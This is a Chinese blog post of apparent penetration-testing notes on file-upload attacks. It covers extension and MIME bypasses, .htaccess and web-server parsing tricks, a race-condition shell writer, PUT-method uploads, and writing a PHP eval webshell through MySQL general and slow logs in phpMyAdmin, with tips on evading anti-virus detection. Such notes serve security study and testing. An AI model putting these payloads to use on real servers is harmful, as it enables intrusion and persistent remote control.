windows文件命名的特性

. 空格 会自动过滤 ::$DATA 相当于空格

php特性: <=5.3.4以下的版本且gpc未开启可以使用%00截断 16进制(0x00) \c终止的意思

%00 ==> 0x00 ==> \c

原理

漏洞原理:
大部分的网站和应用系统都有上传功能,而程序员在开发文件上传功能时,并未考虑文件格式后缀的合法性校验或者只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

如何快速判断是白名单还是黑名单?

上传一个随机的文件后缀名 1.xxx 看返回信息

轻量级的检测绕过攻击

绕过javascript对后缀名的检测 =>前端
绕过服务端http requst包MIME类型的检测 =>后端
绕过文件内容幻术头的检测 =>后端

黑名单绕过

文件名大小写绕过
mine文件类型绕过
特殊文件名绕过
0x00截断绕过
.htaccess文件攻击
Apache解析漏洞
IIS解析漏洞
Nginx解析漏洞
多文件上传 =>条件竞争
管理员错误配置导致某些其他格式以脚本方式执行

白名单绕过

文件名后缀0x00截断绕过
PHP文件包含漏涧
IIS解析漏洞
Nginx解析漏洞
Put协议上传 =>桂林老兵 RESTClient

0x00截断绕过

文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中,处理字符串的函数中0x00被认为是终止符。

例如:
网站上传函数处理xxX.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在保存文件时,遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀名为xxX.php
php版本<5.3.4且php的参数magic_quotes_gpc必须关闭,phpstudy默认开启这
个功能,需要关闭.

.htaccess绕过

任何版本皆可使用

利用前提:

httpd.conf中

Allow Override ALL

LoadModule rewrite_module modules/mod_rewrite.so

1.上传一个带有以下内容的.htaccess文件
<FilesMatch “文件名”>
SetHandler application/x-httpd-php
</FilesMatch>

2.上传一个允许上传的文件 如 文件名.jpg
如此访问该文件时会以php形式解析

htaccess文件中的文件名需与上传的文件名相同

如何防御

设置白名单
gpc

关于漏洞

Apache解析漏洞*

任意版本都存在

任意不属于黑名单且不属于Apache解析白名单之内的后缀名。
解析是从右到左 直到遇见可以解析的文件名后缀
例: apache.php.xxx.xxx

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞.
1.一个是如果目录名以".asp、.asa、.cer、.cdx"字符串结尾,那么这个目录下所有的文件都会按照asp格式去解析。
eg:“test.asp/1.jpg”

2.另一个是只要文件名中含有”.asp、.asa、.cer、.cdx 会优先按asp来解析
eg:“1.asp;.jpg”


IIS7.0/7.5	畸形解析漏洞	
是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面
追加上字符串"/任意文件名.php",就会按照php的方式去解析
eg:http://www.target.com/upload/1.jpg/ladf.php"

Nginx解析漏洞

Nginx<8.0.3	畸形解析漏洞
任意文件名/任意文件名.php   
举例:
目前Nginx主要有这两种漏洞:
一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是
test.jpg,可以添加为test.jpg/x.php进行解析攻击。

一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx 0.5.*
Nginx 0.6.*
Nginx0.7<=0.7.65
Nginx0.8<=0.8.37

以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件1.jpg,然后以1.jpg%00.php进行请求。/linux系统下用1.jpg%20%00.php进行请求

条件竞争漏洞

针对上传后再检验

1.上传的文件在"0.001秒"内会进行删除(后缀不在数组中的情况下)
2.需要写一个代码,只要访问了这个文件就可以帮我们写一个木马文件进去
比如:<?php
file_put_contents('shell.php','<?php phpinfo();?>');
3.不停的上传文件,以及不停的访问文件
4.打开BP开始测试

put漏洞

桂林老兵/RESTClient

OPTIONS方法	查看服务器信息。	由URL标识的资源在请求/响应的通信过程中可以使用的功能选项
PUT方法	跟a模式相似	请求服务器把请求中的实体储存在请求资源下
COPY和MOVE,也就是复制和移动

PUT可以直接从客户机上传文件到服务器。如果间接开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。

1.使用options查看可以使用的功能选项		--有put
2.通过put上传木马			--put通过httpd.conf 开启模块
3.访问木马
4.中国蚁剑连接
https://www.shuzhiduo.com/A/amd0EykWzg
https://blog.csdn.net/m0_64378913/article/details/124898019
https://blog.csdn.net/m0_63127854/article/details/126682845

编辑器漏洞

常见的编辑器有Ewebeditor  fckeditor  CKeditor kindeditor
fckeditor 为例
1.先访问这个页面查看编辑器版本/_whatsnew.html
2.通过版本确定上传地址
3.绕过过滤上传木马
3.访问木马
https://www.jianshu.com/p/7fc588c0c7d7

服务端文件内容扩展检测

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难。也可以说它是在代码层检测的最后一道关卡。如果它被突破了,就算代码层的漏洞,也可以结合解析漏洞进行攻击。
1.文件幻数检测jpg(JFIF)gif(GIF89a)png(%PNG)
2.文件相关信息检测(文件头加一些图片信息中间夹杂攻击代码)
3.文件加载检测(调用API或者函数进行文件加载测试 php的gd库)

制作图片马

copy /b  图片名+木马文件=新图片名

补充:http 最大的作用就是确定了请求和响应数据的格式。常见的请求方式:

  • get 方法 发送一个请求来取得服务器上的某一资源。
  • post 方法 向 url 指定的资源提交数据或附加新的数据。
  • put 方法 put 方法跟 post 方法很像,也是向服务器提交数据,但是 put 方法指向了资源在服务器上的位置,而 post 方法没有。
  • head 方法 只请求页面的首部。
  • delete 方法 删除服务器上的某资源。
  • options 方法 options 方法用于获取当前 url 所支持的方法。如果请求成功,会有一个 allow 的头包含类似 getpost 这样的信息。
  • trace 方法 trace 方法被用于激发一个远程的,应用层的请求消息回路。
  • connect 方法 把请求连接转换到透明的 tcp/ip 通道。

补充:

webshell管理器=>针对网站

计算机木马管理器

木马权限高 更不容易触发警告

容易提权 做好免杀基本可以保持5年内不被清除

中国菜刀 中国蚁剑 base64

动态二进制加密

冰蝎(流量加密)

哥斯拉

病毒是破坏(自主操控权)=> 挖矿病毒 => 1.检测宿主机的显卡是否符合要求 =>符合要求(释放病毒进行挖矿,添加计划任务,自启动,绑定文件形成不死进程)=>删除母体

=>不符合要求=>删除母体

木马(不具主动性 控制端=>被控端)

控制端=>生成木马=>投放到宿主机=>远程控制

特洛伊木马 =>伪装 =>诱惑

补充:

https://blog.csdn.net/Redredredfish/article/details/119864263

Q:写木马函数被禁用时该如何做?(file_put_contents fputs fwrite)

A:全局日志写入shell

查询都会写入日志

1.找到phpMyAdmin登录后台,登录.

2.show variables like ‘%general%’; 查看全局日志是否开启

3.开启全局日志 set global general_log = on; 将全局日志路径设置为shell文件路径 =>绝对路径 set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/shell.php’;

4.新建查询

select ‘<?php @eval($_POST[1]);?>’;

A:慢日志写入shell (补:慢日志调用一次之后又得)

当查询时间超过延时时间会写入日志

1.找到phpMyAdmin登录后台,登录.

2.show variables like ‘%slow_query_log%’; 查看慢日志是否开启

3.show global variables like ‘%long_query_time%’; 查看延时时间

3.开启慢日志

set global slow_query_log=on;

将慢日志路径设置为shell文件路径 =>绝对路径

set global slow_query_log_file=”C:/phpStudy/PHPTutorial/WWW/shell.php”

4.新建查询 后面加or sleep(11) 要比前面查询的延时时间长

select ‘<?php phpinfo();?>’ or sleep( 11 )

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注